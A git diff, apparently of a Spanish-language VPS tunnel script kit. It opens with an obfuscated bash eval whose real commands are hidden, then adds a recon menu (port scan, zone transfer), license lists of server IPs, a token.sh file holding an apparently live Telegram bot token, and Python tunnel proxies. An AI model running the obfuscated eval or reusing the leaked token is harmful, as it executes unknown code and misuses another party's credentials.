bvlGdjVGblNXL0V2Zt0CIntGckhCJgs1WKg2chJ2LulmYvEyI | r";CYLgxnUgFinrysfVQBiJGNnidVQSGractgEYkFBGmLoKkyKwVFxSRDwTNeSFXiTzvivJXUPxZRFtliHZfEYnvyFCEgyoryWcImzS="vfOQqwcCOXDZWJTIRktyQxHvafHhvVtXgBMPHgutdZTMqbYJwlBRMJiHOeCsFyIwFhCgrjMGxnxSPoGijlDudLZiNpMSdVURxSmq";pFAplIUuovOFIplpWHwzGtnpxwWhkfUUCEDxeEjSeYaIsxjrXGcFvQzsCULhHvrdAuRZkavZBpNctEtQdTejOsZLieIRcQGXbTZR="";hvQhYldVPicEoglZCyPvTcntaDOyTXwQgcgLFKHDAbJRNAwuMKyNRimQAZRbLeVSxzjHVLgwlxIZdGTKepaKMUJflIdglqcfBPyx="as";MPlFFDikLFJLbGwAmNAAZjNadzfobAaIfvMmBOLUJtcrIldKeBLmOfrtCOBszWpJmGkcpgfwWVNMjqKuTXPqJqCMYIxpSBdZpOTB="ZdJTyBTwSBvZXCqaeUKZNgQoOLfOPioVBJKjAfoMKNrBPfUVnWwedahrSsJzCipNIbCPKvesTGgOMJVPhWXThRSNkGQZiOcfjZCv";PuDxCDUazlpmBUSIfSOuQxMZlvvoyOGkJIoWYkYAhrhoqPKnRKnJQKHCBrvXSNBqqEKuApEUuiuKPUwRefQgPMjQKMXzuzXXiray="cEvIxahdGfyLQrxgiIZVlPzquehqAQrTaqElSHyvHRtUxcZKhzTQUgZCRUNFtdrXdhoiaIeqINcZFSEnSXtrpjciyfgznuGTUTpU";FunhXeGLdJReayJUjqqXmmnLPXOQbmtQrqWjTaLArnRYUznECrmNMjZGJQsRgXJlSzJtuQqtDRZwnbrwDfrjprOIEiawMeDzgZjm="o";BMpzxkbYlGDtqYQfhNRXseFpzGOWpNbHcXwVyVlSdupzOMgcEMbOElRhcYhAsqbsKRKaRiMINYGseTVHOeMWPtmatjcExAGLlKXS="6";UCQyfkDPdSsxfdsOxQAdEMcoCdTXBUDcIYKlWFtOKJUyfdhmVjuBtTRQfzwFlpnHGwtOkMrOpJyYaqWMeuEWPwoSfizPmxMlVpUe="INjunsJVqFYKDJgZtEKscvAQtyqEanoDKVVZinHsIxsRyvaccXjzdhJQOYRytXmfnWgiOkVTTAVhRinPGwCZOpyUJNQYnpPFzkra";LaqCEfInaSfWpWbAhMexgJHRnBEysaVjRolENlQscLhlHuhzYWBUepxSmTComZUJIIJVBEPDTAyWgcQPsDmlQrGRvOkcByUCGcVB=" -d";XrimJmKyXdirNPNYZJrnQygTCwyWsmrZvdpsdwAAOaRboKcpSwLFnExhPsrxupfZgXxuNEYUosBoAETixJKmAeIuAzAkdatEVQKD="UFzGJYrNTDylIeaZwQVHPaWWRQnItePtlimrGDLhIYPEHTLRgsFEXKwVWCeOJxwGvXLOMzubgYPyBJUZPbeNfgLpHFiAfEYZOxdP";TJYZboIRJlZdYdAEzrdSzicVfQIkmMkztMbKOeeNympDiLpLVLwuWgppDXzwnLygSNmXJSfBSHHmXWXeaAIVIiBgOmXqeFzErPQc="";mkRXECzAKXrBcwFArBtzgdkozZwvQoSQVBdvuzAPoQAioylDhFGbypbzOXBkqNQXbVcDoXGDJQpOBIVHFERGKpDnlMthvEcxkeFe="b";qkJUCvOiXfbSicZCpwNKCeDFKCioxIXylxodCfVBblrfQoglufaLindONZwUACGZZOqbBrUxZwsaUuYoIMTvmKGRPYVXUxMaqTdT="e";deSMgbFuKitPSHoBZoFVJGrOoQytPMTnFVDyLqpRsibMTfWioJeRXZbivIpbIUNHgBPNktCpJAjvWTnxPHDWtKoAeQDbYmIXHHXC="v |";Tx=Eds;FhhOPByiVVSqPcfalLjfKKxjyQwOrtiJdyDXrCRBUZgqkFbaLpUIqBvlqxaDcwzYupANhfJINgNcACnggYskOiAvlnGcCkzPIqAr="";zeCnRQBhaWrMBJVhLQimMDtIqyEfgMAEwZItAKgtfetuittfJtyKYCYLDAYRXoSXZhqYldIynjXZSgiybUXREMUepvLVZrjcVPzE=$(eval "$pFAplIUuovOFIplpWHwzGtnpxwWhkfUUCEDxeEjSeYaIsxjrXGcFvQzsCULhHvrdAuRZkavZBpNctEtQdTejOsZLieIRcQGXbTZR$qkJUCvOiXfbSicZCpwNKCeDFKCioxIXylxodCfVBblrfQoglufaLindONZwUACGZZOqbBrUxZwsaUuYoIMTvmKGRPYVXUxMaqTdT$ZDyRqhIEXkwejhdqnDKqpbHgYGKVzbEofRtACtrwgGsiuttFFaQRzMpdJWIzxHPOegkhcKupdWZkcamietUSEwxojCvRnFCnzlIz$EFFqpyLNLUWIeSjrrVVMgFqCQYZHkwBKfxhJmMPblaZDaYhHrMdKuYoodsHOpaKnPJVRdfdcbSUCkMVhZCgXsGVtISUjmQJQlNUa$FunhXeGLdJReayJUjqqXmmnLPXOQbmtQrqWjTaLArnRYUznECrmNMjZGJQsRgXJlSzJtuQqtDRZwnbrwDfrjprOIEiawMeDzgZjm$HnYlkqsebudrhCKisGAuZryCQDcxoviyqSIGKtTNyMVpRmCjKLwQZqZTYlPGwdIMkFxxalRibHsisTeqsOwhmUKPclVRnrAJnlyf$qkJUCvOiXfbSicZCpwNKCeDFKCioxIXylxodCfVBblrfQoglufaLindONZwUACGZZOqbBrUxZwsaUuYoIMTvmKGRPYVXUxMaqTdT$deSMgbFuKitPSHoBZoFVJGrOoQytPMTnFVDyLqpRsibMTfWioJeRXZbivIpbIUNHgBPNktCpJAjvWTnxPHDWtKoAeQDbYmIXHHXC$pFAplIUuovOFIplpWHwzGtnpxwWhkfUUCEDxeEjSeYaIsxjrXGcFvQzsCULhHvrdAuRZkavZBpNctEtQdTejOsZLieIRcQGXbTZR$mkRXECzAKXrBcwFArBtzgdkozZwvQoSQVBdvuzAPoQAioylDhFGbypbzOXBkqNQXbVcDoXGDJQpOBIVHFERGKpDnlMthvEcxkeFe$FhhOPByiVVSqPcfalLjfKKxjyQwOrtiJdyDXrCRBUZgqkFbaLpUIqBvlqxaDcwzYupANhfJINgNcACnggYskOiAvlnGcCkzPIqAr$hvQhYldVPicEoglZCyPvTcntaDOyTXwQgcgLFKHDAbJRNAwuMKyNRimQAZRbLeVSxzjHVLgwlxIZdGTKepaKMUJflIdglqcfBPyx$qkJUCvOiXfbSicZCpwNKCeDFKCioxIXylxodCfVBblrfQoglufaLindONZwUACGZZOqbBrUxZwsaUuYoIMTvmKGRPYVXUxMaqTdT$BMpzxkbYlGDtqYQfhNRXseFpzGOWpNbHcXwVyVlSdupzOMgcEMbOElRhcYhAsqbsKRKaRiMINYGseTVHOeMWPtmatjcExAGLlKXS$EFFqpyLNLUWIeSjrrVVMgFqCQYZHkwBKfxhJmMPblaZDaYhHrMdKuYoodsHOpaKnPJVRdfdcbSUCkMVhZCgXsGVtISUjmQJQlNUa$IkuSXIYRQrLtMcHlAHHTlsIwPXPDlaLeGnSwdoutFPSTDqzDagPmjxoczhNocajpFDdDDiigeiPHrkqpNXrsgPBwJHDQKJnrtMUW$LaqCEfInaSfWpWbAhMexgJHRnBEysaVjRolENlQscLhlHuhzYWBUepxSmTComZUJIIJVBEPDTAyWgcQPsDmlQrGRvOkcByUCGcVB$FhhOPByiVVSqPcfalLjfKKxjyQwOrtiJdyDXrCRBUZgqkFbaLpUIqBvlqxaDcwzYupANhfJINgNcACnggYskOiAvlnGcCkzPIqAr");eval "$TJYZboIRJlZdYdAEzrdSzicVfQIkmMkztMbKOeeNympDiLpLVLwuWgppDXzwnLygSNmXJSfBSHHmXWXeaAIVIiBgOmXqeFzErPQc$zeCnRQBhaWrMBJVhLQimMDtIqyEfgMAEwZItAKgtfetuittfJtyKYCYLDAYRXoSXZhqYldIynjXZSgiybUXREMUepvLVZrjcVPzE$pFAplIUuovOFIplpWHwzGtnpxwWhkfUUCEDxeEjSeYaIsxjrXGcFvQzsCULhHvrdAuRZkavZBpNctEtQdTejOsZLieIRcQGXbTZR$EFFqpyLNLUWIeSjrrVVMgFqCQYZHkwBKfxhJmMPblaZDaYhHrMdKuYoodsHOpaKnPJVRdfdcbSUCkMVhZCgXsGVtISUjmQJQlNUa" \ No newline at end of file diff --git a/Complementos/toolmaster b/Complementos/toolmaster new file mode 100644 index 0000000..43a910e --- /dev/null +++ b/Complementos/toolmaster @@ -0,0 +1,140 @@ +#!/usr/bin/env python +from urllib2 import * +from platform import system +import sys +def clear(): + if system() == 'Linux': + os.system("clear") + if system() == 'Windows': + os.system('cls') + os.system('color a') + else: + pass +def slowprint(s): + for c in s + '\n': + sys.stdout.write(c) + sys.stdout.flush() + time.sleep(4. / 100) +banner = ''' + +========= ToolMaster =======\033[91m +========== @drowkid01 =========\033[92m +======= Telegram @drowkid01 ====\033[96m +''' +print banner +def menu(): + print''' +\033[91m 1 \033[92m)\033[96m DNS Lookup + +\033[91m 2 \033[92m)\033[96m Whois Lookup + +\033[91m 3 \033[92m)\033[96m Reverse IP Lookup + +\033[91m 4 \033[92m)\033[96m GeoIP Lookup + +\033[91m 5 \033[92m)\033[96m Subnet Lookup + +\033[91m 6 \033[92m)\033[96m Port Scanner + +\033[91m 7 \033[92m)\033[96m Extract Links + +\033[91m 8 \033[92m)\033[96m Zone Transfer + +\033[91m 9 \033[92m)\033[96m HTTP Header + +\033[91m 10\033[92m)\033[96m Host Finder + +\033[91m 11\033[92m)\033[96m Info + +\033[91m 0 \033[92m)\033[96m Salir +''' +slowprint("\033[1;91mchumogh.xyz" + "\n - toolmaster") + +menu() +def ext(): + ex = raw_input ('\033[92mContinuar/Exit -=[C/E]=- -> ') + if ex[0].upper() == 'E' : + print 'Saliendo!!!' + exit() + else: + clear() + print banner + menu() + select() + +def select(): + try: + joker = input("\033[96mEscribe \033[92m0/\033[91m11 -> -> ") + if joker == 2: + dz = raw_input('\033[91mEscribe la IP o Dominio : \033[91m') + whois = "http://api.hackertarget.com/whois/?q=" + dz + dev = urlopen(whois).read() + print (dev) + ext() + elif joker == 3: + dz = raw_input('\033[92mEscribe la IP : \033[92m') + revrse = "http://api.hackertarget.com/reverseiplookup/?q=" + dz + lookup = urlopen(revrse).read() + print (lookup) + ext() + elif joker == 1: + dz = raw_input('\033[96mEscribe tu dominio :\033[96m') + dns = "http://api.hackertarget.com/dnslookup/?q=" + dz + joker = urlopen(dns).read() + print (joker) + ext() + elif joker == 4: + dz = raw_input('\033[91mEscribe la IP : \033[91m') + geo = "http://api.hackertarget.com/geoip/?q=" + dz + ip = urlopen(geo).read() + print (ip) + ext() + elif joker == 5: + dz = raw_input('\033[92mEscribe la IP : \033[92m') + sub = "http://api.hackertarget.com/subnetcalc/?q=" + dz + net = urlopen(sub).read() + print (net) + ext() + elif joker == 6: + dz = raw_input('\033[96mEscribe la IP : \033[96m') + port = "http://api.hackertarget.com/nmap/?q=" + dz + scan = urlopen(port).read() + print (scan) + ext() + elif joker == 7: + dz = raw_input('\033[91mEscribe tu dominio :\033[91m') + get = "https://api.hackertarget.com/pagelinks/?q=" + dz + page = urlopen(get).read() + print(page) + ext() + elif joker == 8: + dz = raw_input('\033[92mEscribe tu dominio :\033[92m') + zon = "http://api.hackertarget.com/zonetransfer/?q=" + dz + tran = urlopen(zon).read() + print (tran) + ext() + elif joker == 9: + dz = raw_input('\033[96mEscribe tu dominio :\033[96m') + hea = "http://api.hackertarget.com/httpheaders/?q=" + dz + der = urlopen(hea).read() + print (der) + ext() + elif joker == 10: + dz = raw_input('\033[91mEscribe tu dominio :\033[91m') + host = "http://api.hackertarget.com/hostsearch/?q=" + dz + finder = urlopen(host).read() + print (finder) + ext() + elif joker == 11: + slowprint("ToolMaster \033[92m") + slowprint(".....................") + slowprint("@drowkid01 \033[96m") + slowprint(".........................") + slowprint("website : chumogh.xyz \033[91m") + ext() + elif joker == 0: + print "Exiting!!" + ext() + except(KeyboardInterrupt): + print "\nCtrl + C -> Saliendo!!" +select() diff --git a/Control/Control-BOT b/Control/Control-BOT new file mode 100644 index 0000000..9ae7c39 --- /dev/null +++ b/Control/Control-BOT @@ -0,0 +1,5 @@ +144.202.37.211 | 01/01/2050 | @donpato_bot | @drowkid01 +149.56.110.115 | 01/01/2050 | @Dealer_Gen_Bot | @DealerServices235 +155.138.147.110 | 01/01/2050 | @tuputamadre | @jajajaja +159.112.137.238 | 01/01/2050 | @BAAV09 | @script_mod1_bot +45.56.112.117 | 01/01/2050 | @don_patobot | @drowkid1 diff --git a/Control/Control-Bot.txt b/Control/Control-Bot.txt new file mode 100644 index 0000000..c2bb059 --- /dev/null +++ b/Control/Control-Bot.txt @@ -0,0 +1,4 @@ +144.202.37.211 | 01/01/2050 | @donpato_bot | @drowkid01 +149.56.110.115 | 01/01/2050 | @Dealer_Gen_Bot | @DealerServices235 +155.138.147.110 | 01/01/2050 | @tuputamadre | @jajajaja +159.112.137.238 | 01/01/2050 | @BAAV09 | @bot diff --git a/Control/chukk.tar b/Control/chukk.tar new file mode 100644 index 0000000..d1c1090 Binary files /dev/null and b/Control/chukk.tar differ diff --git a/Control/token.sh b/Control/token.sh new file mode 100644 index 0000000..7d48fd4 --- /dev/null +++ b/Control/token.sh @@ -0,0 +1 @@ +6737010670:AAHLCAXetDPYy8Sqv1m_1c0wbJdDDYeEBcs 6234530051 diff --git a/Lista/.gitignore b/Lista/.gitignore new file mode 100644 index 0000000..9047c78 --- /dev/null +++ b/Lista/.gitignore @@ -0,0 +1 @@ +elkid diff --git a/Lista/PDirect.py b/Lista/PDirect.py new file mode 100644 index 0000000..7afefdc --- /dev/null +++ b/Lista/PDirect.py @@ -0,0 +1,278 @@ +# -*- coding: utf-8 -*- +import socket, threading, thread, select, signal, sys, time, getopt, argparse + +parser = argparse.ArgumentParser() +parser.add_argument("-l", "--local", help="Nombre de archivo a procesar") +parser.add_argument("-p", "--port", help="Nombre de archivo a procesar") +parser.add_argument("-c", "--contr", help="Nombre de archivo a procesar") +parser.add_argument("-r", "--response", help="Nombre de archivo a procesar") +parser.add_argument("-t", "--texto", help="Nombre de archivo a procesar") + +args = parser.parse_args() + +#================================== +LISTENING_ADDR = '0.0.0.0' + +if args.port: + LISTENING_PORT = int(args.port) +else: + print " Deve ingresar el puerto que usara como socks..." + sys.exit() + +if args.contr: + PASS = str(args.contr) +else: + PASS = str() + +BUFLEN = 4096 * 4 +TIMEOUT = 60 + +if args.local: + DEFAULT_HOST = '127.0.0.1:' + args.local +else: + print " Deve seleccionar un puerto existente para redireccionar el trafico..." + sys.exit() + +if args.response: + STATUS_RESP = args.response +else: + STATUS_RESP = '200' + +if args.texto: + STATUS_TXT = args.texto +elif STATUS_RESP == '101': + STATUS_TXT = 'Switching Protocols' +else: + STATUS_TXT = 'Connection established' + +RESPONSE = str('HTTP/1.1 ' + STATUS_RESP + ' ' + STATUS_TXT + '\r\nContent-length: 0\r\n\r\nHTTP/1.1 200 Connection established\r\n\r\n') + +class Server(threading.Thread): + def __init__(self, host, port): + threading.Thread.__init__(self) + self.running = False + self.host = host + self.port = port + self.threads = [] + self.threadsLock = threading.Lock() + self.logLock = threading.Lock() + + def run(self): + self.soc = socket.socket(socket.AF_INET) + self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.soc.settimeout(2) + self.soc.bind((self.host, self.port)) + self.soc.listen(0) + self.running = True + + try: + while self.running: + try: + c, addr = self.soc.accept() + c.setblocking(1) + except socket.timeout: + continue + + conn = ConnectionHandler(c, self, addr) + conn.start() + self.addConn(conn) + finally: + self.running = False + self.soc.close() + + def printLog(self, log): + self.logLock.acquire() + print log + self.logLock.release() + + def addConn(self, conn): + try: + self.threadsLock.acquire() + if self.running: + self.threads.append(conn) + finally: + self.threadsLock.release() + + def removeConn(self, conn): + try: + self.threadsLock.acquire() + self.threads.remove(conn) + finally: + self.threadsLock.release() + + def close(self): + try: + self.running = False + self.threadsLock.acquire() + + threads = list(self.threads) + for c in threads: + c.close() + finally: + self.threadsLock.release() + + +class ConnectionHandler(threading.Thread): + def __init__(self, socClient, server, addr): + threading.Thread.__init__(self) + self.clientClosed = False + self.targetClosed = True + self.client = socClient + self.client_buffer = '' + self.server = server + self.log = 'Connection: ' + str(addr) + + def close(self): + try: + if not self.clientClosed: + self.client.shutdown(socket.SHUT_RDWR) + self.client.close() + except: + pass + finally: + self.clientClosed = True + + try: + if not self.targetClosed: + self.target.shutdown(socket.SHUT_RDWR) + self.target.close() + except: + pass + finally: + self.targetClosed = True + + def run(self): + try: + self.client_buffer = self.client.recv(BUFLEN) + + hostPort = self.findHeader(self.client_buffer, 'X-Real-Host') + + if hostPort == '': + hostPort = DEFAULT_HOST + + split = self.findHeader(self.client_buffer, 'X-Split') + + if split != '': + self.client.recv(BUFLEN) + + if hostPort != '': + passwd = self.findHeader(self.client_buffer, 'X-Pass') + + if len(PASS) != 0 and passwd == PASS: + self.method_CONNECT(hostPort) + elif len(PASS) != 0 and passwd != PASS: + self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n') + elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'): + self.method_CONNECT(hostPort) + else: + self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n') + else: + print '- No X-Real-Host!' + self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n') + + except Exception as e: + self.log += ' - error: ' + e.strerror + self.server.printLog(self.log) + pass + finally: + self.close() + self.server.removeConn(self) + + def findHeader(self, head, header): + aux = head.find(header + ': ') + + if aux == -1: + return '' + + aux = head.find(':', aux) + head = head[aux+2:] + aux = head.find('\r\n') + + if aux == -1: + return '' + + return head[:aux]; + + def connect_target(self, host): + i = host.find(':') + if i != -1: + port = int(host[i+1:]) + host = host[:i] + else: + if self.method=='CONNECT': + port = 443 + else: + port = 80 + port = 8080 + port = 8799 + port = 3128 + + (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0] + + self.target = socket.socket(soc_family, soc_type, proto) + self.targetClosed = False + self.target.connect(address) + + def method_CONNECT(self, path): + self.log += ' - CONNECT ' + path + + self.connect_target(path) + self.client.sendall(RESPONSE) + self.client_buffer = '' + + self.server.printLog(self.log) + self.doCONNECT() + + def doCONNECT(self): + socs = [self.client, self.target] + count = 0 + error = False + while True: + count += 1 + (recv, _, err) = select.select(socs, [], socs, 3) + if err: + error = True + if recv: + for in_ in recv: + try: + data = in_.recv(BUFLEN) + if data: + if in_ is self.target: + self.client.send(data) + else: + while data: + byte = self.target.send(data) + data = data[byte:] + + count = 0 + else: + break + except: + error = True + break + if count == TIMEOUT: + error = True + + if error: + break + +def main(host=LISTENING_ADDR, port=LISTENING_PORT): + + print "\n:-------PythonProxy-------:\n" + print "Listening addr: " + LISTENING_ADDR + print "Listening port: " + str(LISTENING_PORT) + "\n" + print ":-------------------------:\n" + + server = Server(LISTENING_ADDR, LISTENING_PORT) + server.start() + + while True: + try: + time.sleep(2) + except KeyboardInterrupt: + print 'Stopping...' + server.close() + break + +if __name__ == '__main__': + main() diff --git a/Lista/PGet.py b/Lista/PGet.py new file mode 100644 index 0000000..65b27f0 --- /dev/null +++ b/Lista/PGet.py @@ -0,0 +1,682 @@ +import sys, time, getopt, socket, threading, base64 + + +# CONFIG +CONFIG_LISTENING = '0.0.0.0:8799' +CONFIG_PASS = 'pwd.pwd' + + +class Logger: + + logLock = threading.Lock() + LOG_INFO = 1 + LOG_WARN = 2 + LOG_ERROR = 3 + + def printWarn(self, log): + self.log(log) + + def printInfo(self, log): + self.log(log) + + def printError(self, log): + self.log(log) + + def printLog(self, log, logLevel): + if logLevel == Logger.LOG_INFO: + self.printInfo('<-> ' + log) + elif logLevel == Logger.LOG_WARN: + self.printWarn(' ' + log) + elif logLevel == Logger.LOG_ERROR: + self.printError('<#> ' + log) + + def log(self, log): + with Logger.logLock: + print log + + + +class PasswordSet: + FILE_EXEMPLE = 'master=passwd123\n127.0.0.1:22=pwd321;321pawd\n1.23.45.67:443=pass123' + + def __init__(self, masterKey=None): + self.masterKey = masterKey + + def parseFile(self, fileName): + isValid = False + + with open(fileName) as f: + content = f.readlines() + + content = [x.strip() for x in content] + content = [item for item in content if not str(item).startswith('#')] + + if len(content) > 0: + masterKey = content[0] + + if self.splitParam(masterKey, '=') is not None and masterKey.startswith('master'): + self.masterKey = self.splitParam(masterKey, '=')[1] + + isValid = True + self.map = dict() + + for i, v in enumerate(content[1:]): + hostAndPass = self.splitParam(v, '=') + + if hostAndPass is not None: + self.map[hostAndPass[0]] = hostAndPass[1].split(';') + + return isValid + + def isValidKey(self, key, target): + valid = False + + if not self.masterKey == key: + if hasattr(self, 'map'): + if self.map.has_key(target): + valid = key in self.map[target] + else: + valid = True + + return valid + + + def splitParam(self, param, c): + index = param.find(c) + + ret = None + + if index != -1: + ret = [] + ret.append(param[0:index]) + ret.append(param[index+1:]) + + return ret + + + + +class ClientRequest: + MAX_LEN_CLIENT_REQUEST = 1024 * 100 + HEADER_CONTENT_LENGTH = 'Content-Length' + HEADER_ACTION = 'X-Action' + ACTION_CLOSE = 'close' + ACTION_DATA = 'data' + + def __init__(self, socket): + self.socket = socket + self.readConent = False + + def parse(self): + line = '' + count = 0 + self.isValid = False + self.data = None + self.contentLength = None + self.action = None + + while line != '\r\n' and count < ClientRequest.MAX_LEN_CLIENT_REQUEST: + line = self.readHttpLine() + + if line is None: + break + + if line.startswith(ClientRequest.HEADER_ACTION): + self.action = self.getHeaderVal(line) + + if not self.action is None: + if self.action == ClientRequest.ACTION_CLOSE or self.action == ClientRequest.ACTION_DATA: + self.isValid = True + + count += len(line) + + if self.readConent: + if self.contentLength > 0 and self.contentLength < ClientRequest.MAX_LEN_CLIENT_REQUEST: + self.data = self.readFully(self.contentLength) + + return self.isValid + + def readHttpLine(self): + line = '' + count = 0 + socket = self.socket + + b = socket.recv(1) + + if not b: + return None + + while count < ClientRequest.MAX_LEN_CLIENT_REQUEST: + count += 1 + line += b + + if b == '\r': + b = socket.recv(1) + count += 1 + + if not b: + break + + line += b + + if b == '\n': + break + + b = socket.recv(1) + + if not b: + break + + if not b: + return None + + return line + + def getHeaderVal(self, header): + ini = header.find(':') + + if ini == -1: + return None + + ini += 2 + + fim = header.find('\r\n') + + if fim == -1: + header = header[ini:] + + return header[ini:fim] + + def readFully(self, n): + count = 0 + data = '' + + while count < n: + packet = self.socket.recv(n - count) + + if not packet: + break + + count += len(packet) + data += packet + + + + +class Client(threading.Thread): + ACTION_DATA = 'data' + BUFFER_SIZE = 4096 + + def __init__(self, id, readSocket, target): + super(Client, self).__init__() + self.targetHostPort = target + self.id = id + self.readSocket = readSocket + self.logger = Logger() + self.isStopped = False + self.onCloseFunction = None + self.closeLock = threading.Lock() + self.threadEndCount = 0 + self.writeSocket = None + + def connectTarget(self): + aux = self.targetHostPort.find(':') + + host = self.targetHostPort[:aux] + port = int(self.targetHostPort[aux + 1:]) + + self.target = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.target.connect((host, port)) + + def run(self): + try: + self.connectTarget() + + request = ClientRequest(self.readSocket) + request.readConent = False + + if not request.parse() or not Client.ACTION_DATA == request.action: + raise Exception('client sends invalid request') + + threadRead = ThreadRelay(self.readSocket, self.target, self.finallyClose) + threadRead.logFunction = self.log + threadRead.start() + + threadWrite = ThreadRelay(self.target, self.writeSocket, self.finallyClose) + threadWrite.logFunction = self.log + threadWrite.start() + except Exception as e: + self.log('connection error - ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR) + self.close() + + def finallyClose(self): + with self.closeLock: + self.threadEndCount += 1 + + if self.threadEndCount == 2: + self.close() + + def close(self): + if not self.isStopped: + self.isStopped = True + + if hasattr(self, 'target'): + try: + self.target.close() + except: + pass + + if hasattr(self, 'writeSocket'): + try: + self.writeSocket.close() + except: + pass + + if hasattr(self, 'readSocket'): + try: + self.readSocket.close() + except: + pass + + self.onClose() + self.log('closed', Logger.LOG_INFO) + + def onClose(self): + if not self.onCloseFunction is None: + self.onCloseFunction(self) + + def log(self, msg, logLevel): + msg = 'Client ' + str(self.id) + ': ' + msg + self.logger.printLog(msg, logLevel) + + +class ThreadRelay(threading.Thread): + def __init__(self, readSocket, writeSocket, closeFunction=None): + super(ThreadRelay, self).__init__() + self.readSocket = readSocket + self.writeSocket = writeSocket + self.logFunction = None + self.closeFuntion = closeFunction + + def run(self): + try: + while True: + data = self.readSocket.recv(Client.BUFFER_SIZE) + if not data: + break + self.writeSocket.sendall(data) + + self.writeSocket.shutdown(socket.SHUT_WR) + except Exception as e: + if not self.logFunction is None: + self.logFunction('threadRelay error: ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR) + finally: + if not self.closeFuntion is None: + self.closeFuntion() + + + + +class AcceptClient(threading.Thread): + MAX_QTD_BYTES = 5000 + HEADER_BODY = 'X-Body' + HEADER_ACTION = 'X-Action' + HEADER_TARGET = 'X-Target' + HEADER_PASS = 'X-Pass' + HEADER_ID = 'X-Id' + ACTION_CREATE = 'create' + ACTION_COMPLETE = 'complete' + MSG_CONNECTION_CREATED = 'Created' + MSG_CONNECTION_COMPLETED = 'Completed' + + ID_COUNT = 0 + ID_LOCK = threading.Lock() + + def __init__(self, socket, server, passwdSet=None): + super(AcceptClient, self).__init__() + self.server = server + self.passwdSet = passwdSet + self.socket = socket + + def run(self): + needClose = True + + try: + head = self.readHttpRequest() + + bodyLen = self.getHeaderVal(head, AcceptClient.HEADER_BODY) + if not bodyLen is None: + try: + self.readFully(int(bodyLen)) + except ValueError: + pass + + action = self.getHeaderVal(head, AcceptClient.HEADER_ACTION) + + if action is None: + self.log('client sends no action header', Logger.LOG_WARN) + self.socket.sendall('HTTP/1.1 400 NoActionHeader!\r\nServer: GetTunnelServer\r\n\r\n') + return + + if action == AcceptClient.ACTION_CREATE: + target = self.getHeaderVal(head, AcceptClient.HEADER_TARGET) + + if not self.passwdSet is None: + passwd = self.getHeaderVal(head, AcceptClient.HEADER_PASS) + + try: + passwd = base64.b64decode(passwd) + except: + passwd = None + pass + + if passwd is None or not self.passwdSet.isValidKey(passwd, target): + self.log('client sends wrong key', Logger.LOG_WARN) + self.socket.sendall('HTTP/1.1 403 Forbidden\r\nServer: GetTunnelServer\r\n\r\n') + return + + if target is not None and self.isValidHostPort(target): + id = self.generateId() + + client = Client(id, self.socket, target) + client.onCloseFunction = self.server.removeClient + self.server.addClient(client) + self.socket.sendall('HTTP/1.1 200 '+ AcceptClient.MSG_CONNECTION_CREATED + '\r\nServer: GetTunnelServer\r\nX-Id: ' + str(id) + '\r\nContent-Type: text/plain\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n') + self.log('connection created - ' + str(id), Logger.LOG_INFO) + needClose = False + else: + self.log('client sends no valid target', Logger.LOG_WARN) + self.socket.sendall('HTTP/1.1 400 Target!\r\nServer: GetTunnelServer\r\n\r\n') + + elif action == AcceptClient.ACTION_COMPLETE: + id = self.getHeaderVal(head, AcceptClient.HEADER_ID) + + if not id is None: + client = self.server.getClient(id) + + if not client is None: + client.writeSocket = self.socket + + self.log('connection completed - ' + str(id), Logger.LOG_INFO) + self.socket.sendall('HTTP/1.1 200 ' + AcceptClient.MSG_CONNECTION_COMPLETED + '\r\nServer: GetTunnelServer\r\nConnection: Keep-Alive\r\n\r\n') + + client.start() + needClose = False + else: + self.log('client try to complete non existing connection', Logger.LOG_WARN) + self.socket.sendall('HTTP/1.1 400 CreateFirst!\r\nServer: GetTunnelServer\r\n\r\n') + else: + self.log('client sends no id header', Logger.LOG_WARN) + self.socket.sendall('HTTP/1.1 400 NoID!\r\nServer: GetTunnelServer\r\n\r\n') + else: + self.log('client sends invalid action', Logger.LOG_WARN) + self.socket.sendall('HTTP/1.1 400 InvalidAction!\r\nServer: GetTunnelServer\r\n\r\n') + + except Exception as e: + self.log('connection error - ' + str(type(e)) + ' - ' + str(e), Logger.LOG_ERROR) + finally: + if needClose: + try: + self.socket.close() + except: + pass + + def log(self, msg, logLevel): + self.server.log(msg, logLevel) + + def readHttpRequest(self): + request = '' + linha = '' + count = 0 + + while linha != '\r\n' and count < AcceptClient.MAX_QTD_BYTES: + linha = self.readHttpLine() + + if linha is None: + break + + request += linha + count += len(linha) + + return request + + def readHttpLine(self): + line = '' + count = 0 + socket = self.socket + + b = socket.recv(1) + + if not b: + return None + + while count < AcceptClient.MAX_QTD_BYTES: + count += 1 + line += b + + if b == '\r': + b = socket.recv(1) + count += 1 + + if not b: + break + + line += b + + if b == '\n': + break + + b = socket.recv(1) + + if not b: + break + + if not b: + return None + + return line + + def getHeaderVal(self, head, header): + if not head.startswith('\r\n'): + header = '\r\n' + header + + if not header.endswith(': '): + header = header + ': ' + + ini = head.find(header) + + if ini == -1: + return None + + end = head.find('\r\n', ini+2) + + ini += len(header) + + if end == -1 or ini > end or ini >= len(head): + return None + + return head[ini:end] + + def readFully(self, n): + count = 0 + + while count < n: + packet = self.socket.recv(n - count) + + if not packet: + break + + count += len(packet) + + def isValidHostPort(self, hostPort): + aux = hostPort.find(':') + + if aux == -1 or aux >= len(hostPort) -1: + return False + + try: + int(hostPort[aux+1:]) + return True + except ValueError: + return False + + def generateId(self): + with AcceptClient.ID_LOCK: + AcceptClient.ID_COUNT += 1 + return AcceptClient.ID_COUNT + + + +class Server(threading.Thread): + + def __init__(self, listening, passwdSet=None): + super(Server, self).__init__() + self.listening = listening + self.passwdSet = passwdSet + self.running = False + self.logger = Logger() + self.isStopped = False + self.clientsLock = threading.Lock() + self.clients = [] + + def run(self): + try: + self.soc = socket.socket(socket.AF_INET) + self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.soc.settimeout(2) + self.soc.bind((self.listening[:self.listening.find(':')], int(self.listening[self.listening.find(':') + 1:]))) + self.soc.listen(0) + + self.log('running on ' + self.listening, Logger.LOG_INFO) + + self.running = 